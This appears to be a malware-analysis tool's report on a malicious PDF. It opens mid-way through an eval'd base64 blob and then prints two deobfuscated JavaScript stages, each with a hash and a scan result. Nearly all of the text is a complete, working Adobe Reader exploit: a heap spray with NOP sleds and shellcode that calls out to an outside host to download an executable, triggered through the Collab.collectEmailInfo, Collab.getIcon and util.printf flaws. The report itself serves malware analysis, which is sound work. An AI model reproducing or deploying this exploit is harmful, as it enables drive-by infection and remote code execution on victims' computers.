zIlMjAlNTYlNGYlNzIlNzglNzElNDElNTklNGIlNjElNDUlNmQlMjAlM2QlMjAlMzAlM2IlMjAlNTYlNGYlNzIlNzglNzElNDElNTklNGIlNjElNDUlNmQlMjAlM2MlMjAlNTklNTQlNTAlNGElMzAlMzglNTIlNTElNmElNGUlNzglM2IlMjAlNTYlNGYlNzIlNzglNzElNDElNTklNGIlNjElNDUlNmQlMmIlMmIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNTMlNTglMzYlMzAlNGMlNDklMzclMzMlNjUlNzAlNmQlNWIlNTYlNGYlNzIlNzglNzElNDElNTklNGIlNjElNDUlNmQlNWQlMjAlM2QlMjAlNjIlNjMlMzAlNzklNDklNjUlNjElNDUlNDUlNzglNGYlMjAlMmIlMjAlNjQlMzAlNmMlNjQlNDYlNzMlN2ElNzMlNjElNGQlMzAlM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNjQlNmYlNDIlNzQlNTclNGIlNmMlMzclNjUlNTIlNDklMjglMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTAlMzglNzUlMzIlNTMlNDclNzElNzglNjklMzMlNDYlMjAlM2QlMjAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2QlMjAlNjElNzAlNzAlMmUlNzYlNjklNjUlNzclNjUlNzIlNTYlNjUlNzIlNzMlNjklNmYlNmUlMmUlNzQlNmYlNTMlNzQlNzIlNjklNmUlNjclMjglMjklM2IlMjAlMjAlMjAlMjAlNjElNzAlNzAlMmUlNjMlNmMlNjUlNjElNzIlNTQlNjklNmQlNjUlNGYlNzUlNzQlMjglNjklNzUlNTclNGElNzQlNmQlNmYlNTUlNjklNzMlNzIlMjklM2IlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2UlM2QlMjAlMzglMjAlMjYlMjYlMjAlNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2MlMjAlMzglMmUlMzElMzAlMzIlMjklMjAlN2MlN2MlMjAlNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2MlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNDQlNGUlNTYlNDclMzUlNzclNWElNWElMzYlNDQlMzQlMjglMzAlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjYlMzclNjQlNDIlNjQlNjglMzMlMzQlNmIlMzYlNzglMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzAlNjMlMzAlNjMlMjUlNzUlMzAlNjMlMzAlNjMlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNjYlMzclNjQlNDIlNjQlNjglMzMlMzQlNmIlMzYlNzglMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzQlMzQlMzklMzUlMzIlMjklMjAlNjYlMzclNjQlNDIlNjQlNjglMzMlMzQlNmIlMzYlNzglMjAlMmIlM2QlMjAlNjYlMzclNjQlNDIlNjQlNjglMzMlMzQlNmIlMzYlNzglM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzclNzclNjYlNGQlNjglNmMlNjUlNTYlMzglNjIlMzAlMjAlM2QlMjAlNzQlNjglNjklNzMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjMlNTclNDMlMzglNTYlNGIlNTglNzUlNDklN2ElNDMlMjAlM2QlMjAlNDMlNmYlNmMlNmMlNjElNjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzclNzclNjYlNGQlNjglNmMlNjUlNTYlMzglNjIlMzAlNWIlMjIlNjMlNmYlNmMlNmMlNjElNjIlNTMlNzQlNmYlNzIlNjUlMjIlNWQlMjAlM2QlMjAlNjMlNTclNDMlMzglNTYlNGIlNTglNzUlNDklN2ElNDMlNWIlMjIlNjMlNmYlNmMlNmMlNjUlNjMlNzQlNDUlNmQlNjElNjklNmMlNDklNmUlNjYlNmYlMjIlNWQlMjglMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzUlNjIlNmElMjAlM2ElMjAlMjIlMjIlMmMlMjAlNmQlNzMlNjclMjAlM2ElMjAlNjYlMzclNjQlNDIlNjQlNjglMzMlMzQlNmIlMzYlNzglMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2UlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlMjYlMjYlMjAlNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2MlMjAlMzglMmUlMzElMzAlMzQlMjklMjAlN2MlN2MlMjAlMjglNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2UlM2QlMjAlMzklMjAlMjYlMjYlMjAlNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2MlMjAlMzklMmUlMzElMjklMjAlN2MlN2MlMjAlNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2MlM2QlMjAlMzclMmUlMzElMzAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNzIlNzklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjElNzAlNzAlMmUlNjQlNmYlNjMlMmUlNDMlNmYlNmMlNmMlNjElNjIlMmUlNjclNjUlNzQlNDklNjMlNmYlNmUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDQlNGUlNTYlNDclMzUlNzclNWElNWElMzYlNDQlMzQlMjglMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzIlNzklNDMlNTQlMzYlNmIlNDMlMzclNTQlNDMlNDYlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlMzAlMzklMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNzIlNzklNDMlNTQlMzYlNmIlNDMlMzclNTQlNDMlNDYlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzAlNzglMzQlMzAlMzAlMzAlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzIlNzklNDMlNTQlMzYlNmIlNDMlMzclNTQlNDMlNDYlMjAlMmIlM2QlMjAlNzIlNzklNDMlNTQlMzYlNmIlNDMlMzclNTQlNDMlNDYlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzIlNzklNDMlNTQlMzYlNmIlNDMlMzclNTQlNDMlNDYlMjAlM2QlMjAlMjIlNGUlMmUlMjIlMjAlMmIlMjAlNzIlNzklNDMlNTQlMzYlNmIlNDMlMzclNTQlNDMlNDYlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjMlNzclNzQlNDclNGMlNGYlNTMlNmIlMzIlNjUlMzYlMjAlM2QlMjAlNjElNzAlNzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNzclNzQlNDclNGMlNGYlNTMlNmIlMzIlNjUlMzYlNWIlMjIlNjQlNmYlNjMlMjIlNWQlNWIlMjIlNDMlNmYlNmMlNmMlNjElNjIlMjIlNWQlNWIlMjIlNjclNjUlNzQlNDklNjMlNmYlNmUlMjIlNWQlMjglNzIlNzklNDMlNTQlMzYlNmIlNDMlMzclNTQlNDMlNDYlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTAlMzglNzUlMzIlNTMlNDclNzElNzglNjklMzMlNDYlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTAlMzglNzUlMzIlNTMlNDclNzElNzglNjklMzMlNDYlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNjElNzQlNjMlNjglMjglNjUlMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTAlMzglNzUlMzIlNTMlNDclNzElNzglNjklMzMlNDYlMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNTAlMzglNzUlMzIlNTMlNDclNzElNzglNjklMzMlNDYlMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2QlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlN2MlN2MlMjAlNDIlNGIlNGElNDclNzElNmYlNTUlNTIlNDclNzklNzklMjAlM2QlM2QlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDQlNGUlNTYlNDclMzUlNzclNWElNWElMzYlNDQlMzQlMjglMzElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjElNTQlNWElNTAlNTYlMzIlNGElNzklMzUlNTYlNDMlMjAlM2QlMjAlMjIlMzElMzIlMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNDIlNmElNDMlNmIlNDMlMzklMzMlNDUlNzElMzklNTQlMjAlM2QlMjAlMzAlM2IlMjAlNDIlNmElNDMlNmIlNDMlMzklMzMlNDUlNzElMzklNTQlMjAlM2MlMjAlMzIlMzclMzYlM2IlMjAlNDIlNmElNDMlNmIlNDMlMzklMzMlNDUlNzElMzklNTQlMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjElNTQlNWElNTAlNTYlMzIlNGElNzklMzUlNTYlNDMlMjAlMmIlM2QlMjAlMjIlMzglMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTklNzYlNTclNzIlNDIlMzglMzQlNDElNzIlNDIlNjglMjAlM2QlMjAlNzUlNzQlNjklNmMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTklNzYlNTclNzIlNDIlMzglMzQlNDElNzIlNDIlNjglNWIlMjIlNzAlNzIlNjklNmUlNzQlNjYlMjIlNWQlMjglMjIlMjUlMzQlMzUlMzAlMzAlMzAlNjYlMjIlMmMlMjAlNjElNTQlNWElNTAlNTYlMzIlNGElNzklMzUlNTYlNDMlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlN2QlMjAlN2QlMjAiKSk7IAogYXBwLkdNUVo3c2I1S1g1ID0gZG9CdFdLbDdlUkk7CiBpdVdKdG1vVWlzciA9IGFwcC5zZXRUaW1lT3V0KCJhcHAuR01RWjdzYjVLWDUoKSIsIDEpOwo=");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 5218 bytes
SHA-256: 742c46b0411d4e55ea443ee4482f43e2cf953a93e3eee2dd01e199d91d5f21a1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). 21 of 42 identifiers look randomly generated (e.g. 'YvWrB84ArBh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var SX60LI73epm = new Array();
 var iuWJtmoUisr;
 var lave = eval;
  lave(unescape("  function qX6AgZDGrft(bc0yIeaEExO, QQ7SIVl9CzL)  {    while(bc0yIeaEExO.length * 2 < QQ7SIVl9CzL)    {      bc0yIeaEExO += bc0yIeaEExO;    }    bc0yIeaEExO = bc0yIeaEExO.substring(0, QQ7SIVl9CzL / 2);    return bc0yIeaEExO;  } "));  lave(unescape("   function DNVG5wZZ6D4(wQ6srb5Efiz)  {    if(wQ6srb5Efiz == 0)    {      var Fu0NwgmwmSs = 0x0c0c0c0c;      var d0ldFszsaM0 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(wQ6srb5Efiz == 1)    {      Fu0NwgmwmSs = 0x30303030;      var d0ldFszsaM0 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(wQ6srb5Efiz == 2)    {      var d0ldFszsaM0 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    var m7T9rD2vXxK = 0x400000;    var sBgZJJvbdFg = d0ldFszsaM0.length * 2;    var QQ7SIVl9CzL = m7T9rD2vXxK - (sBgZJJvbdFg + 0x38);    var bc0yIeaEExO = unescape("%u9090%u9090");    bc0yIeaEExO = qX6AgZDGrft(bc0yIeaEExO, QQ7SIVl9CzL);    var YTPJ08RQjNx = (Fu0NwgmwmSs - 0x400000) / m7T9rD2vXxK;    for(var VOrxqAYKaEm = 0; VOrxqAYKaEm < YTPJ08RQjNx; VOrxqAYKaEm++)    {      SX60LI73epm[VOrxqAYKaEm] = bc0yIeaEExO + d0ldFszsaM0;    }  } "));  lave(unescape("  function doBtWKl7eRI()  {    var P8u2SGqxi3F = 0;    var BKJGqoURGyy = app.viewerVersion.toString();    app.clearTimeOut(iuWJtmoUisr);    if((BKJGqoURGyy >= 8 && BKJGqoURGyy < 8.102) || BKJGqoURGyy < 7.1)    {      DNVG5wZZ6D4(0);      var f7dBdh34k6x = unescape("%u0c0c%u0c0c");      while(f7dBdh34k6x.length < 44952) f7dBdh34k6x += f7dBdh34k6x;      var wwfMhleV8b0 = this;      var cWC8VKXuIzC = Collab;      wwfMhleV8b0["collabStore"] = cWC8VKXuIzC["collectEmailInfo"](      {        subj : "", msg : f7dBdh34k6x      }      );    }    if((BKJGqoURGyy >= 8.102 && BKJGqoURGyy < 8.104) || (BKJGqoURGyy >= 9 && BKJGqoURGyy < 9.1) || BKJGqoURGyy <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          DNVG5wZZ6D4(2);          var ryCT6kC7TCF = unescape("%09");          while(ryCT6kC7TCF.length < 0x4000)          {            ryCT6kC7TCF += ryCT6kC7TCF;          }          ryCT6kC7TCF = "N." + ryCT6kC7TCF;          var cwtGLOSk2e6 = app;          cwtGLOSk2e6["doc"]["Collab"]["getIcon"](ryCT6kC7TCF);          P8u2SGqxi3F = 1;        }        else        {          P8u2SGqxi3F = 1;        }      }      catch(e)      {        P8u2SGqxi3F = 1;      }      if(P8u2SGqxi3F == 1)      {        if(BKJGqoURGyy == 8.102 || BKJGqoURGyy == 7.1)        {          DNVG5wZZ6D4(1);          var aTZPV2Jy5VC = "12999999999999999999";          for(BjCkC93Eq9T = 0; BjCkC93Eq9T < 276; BjCkC93Eq9T++)          {            aTZPV2Jy5VC += "8";          }          var YvWrB84ArBh = util;          YvWrB84ArBh["printf"]("%45000f", aTZPV2Jy5VC);        }      }    } } ")); 
 app.GMQZ7sb5KX5 = doBtWKl7eRI;
 iuWJtmoUisr = app.setTimeOut("app.GMQZ7sb5KX5()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 5214 bytes
SHA-256: a32a80802c4a8e83c4e6ecdec46bd0bb7ff3b8ba8390e6d8185e50c0a80ab6f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s). 21 of 42 identifiers look randomly generated (e.g. 'YvWrB84ArBh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var SX60LI73epm = new Array();
 var iuWJtmoUisr;
 var lave = eval;
  lave(unescape("  function qX6AgZDGrft(bc0yIeaEExO, QQ7SIVl9CzL)  {    while(bc0yIeaEExO.length * 2 < QQ7SIVl9CzL)    {      bc0yIeaEExO += bc0yIeaEExO;    }    bc0yIeaEExO = bc0yIeaEExO.substring(0, QQ7SIVl9CzL / 2);    return bc0yIeaEExO;  } "));  lave(unescape("   function DNVG5wZZ6D4(wQ6srb5Efiz)  {    if(wQ6srb5Efiz == 0)    {      var Fu0NwgmwmSs = 0x0c0c0c0c;      var d0ldFszsaM0 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(wQ6srb5Efiz == 1)    {      Fu0NwgmwmSs = 0x30303030;      var d0ldFszsaM0 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    else if(wQ6srb5Efiz == 2)    {      var d0ldFszsaM0 =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");    }    var m7T9rD2vXxK = 0x400000;    var sBgZJJvbdFg = d0ldFszsaM0.length * 2;    var QQ7SIVl9CzL = m7T9rD2vXxK - (sBgZJJvbdFg + 0x38);    var bc0yIeaEExO = unescape("%u9090%u9090");    bc0yIeaEExO = qX6AgZDGrft(bc0yIeaEExO, QQ7SIVl9CzL);    var YTPJ08RQjNx = (Fu0NwgmwmSs - 0x400000) / m7T9rD2vXxK;    for(var VOrxqAYKaEm = 0; VOrxqAYKaEm < YTPJ08RQjNx; VOrxqAYKaEm++)    {      SX60LI73epm[VOrxqAYKaEm] = bc0yIeaEExO + d0ldFszsaM0;    }  } "));  lave(unescape("  function doBtWKl7eRI()  {    var P8u2SGqxi3F = 0;    var BKJGqoURGyy = app.viewerVersion.toString();    app.clearTimeOut(iuWJtmoUisr);    if((BKJGqoURGyy >= 8 && BKJGqoURGyy < 8.102) || BKJGqoURGyy < 7.1)    {      DNVG5wZZ6D4(0);      var f7dBdh34k6x = unescape("%u0c0c%u0c0c");      while(f7dBdh34k6x.length < 44952) f7dBdh34k6x += f7dBdh34k6x;      var wwfMhleV8b0 = this;      var cWC8VKXuIzC = Collab;      wwfMhleV8b0["collabStore"] = cWC8VKXuIzC["collectEmailInfo"](      {        subj : "", msg : f7dBdh34k6x      }      );    }    if((BKJGqoURGyy >= 8.102 && BKJGqoURGyy < 8.104) || (BKJGqoURGyy >= 9 && BKJGqoURGyy < 9.1) || BKJGqoURGyy <= 7.101)    {      try      {        if(app.doc.Collab.getIcon)        {          DNVG5wZZ6D4(2);          var ryCT6kC7TCF = unescape("	");          while(ryCT6kC7TCF.length < 0x4000)          {            ryCT6kC7TCF += ryCT6kC7TCF;          }          ryCT6kC7TCF = "N." + ryCT6kC7TCF;          var cwtGLOSk2e6 = app;          cwtGLOSk2e6["doc"]["Collab"]["getIcon"](ryCT6kC7TCF);          P8u2SGqxi3F = 1;        }        else        {          P8u2SGqxi3F = 1;        }      }      catch(e)      {        P8u2SGqxi3F = 1;      }      if(P8u2SGqxi3F == 1)      {        if(BKJGqoURGyy == 8.102 || BKJGqoURGyy == 7.1)        {          DNVG5wZZ6D4(1);          var aTZPV2Jy5VC = "12999999999999999999";          for(BjCkC93Eq9T = 0; BjCkC93Eq9T < 276; BjCkC93Eq9T++)          {            aTZPV2Jy5VC += "8";          }          var YvWrB84ArBh = util;          YvWrB84ArBh["printf"]("E000f", aTZPV2Jy5VC);        }      }    } } ")); 
 app.GMQZ7sb5KX5 = doBtWKl7eRI;
 iuWJtmoUisr = app.setTimeOut("app.GMQZ7sb5KX5()", 1);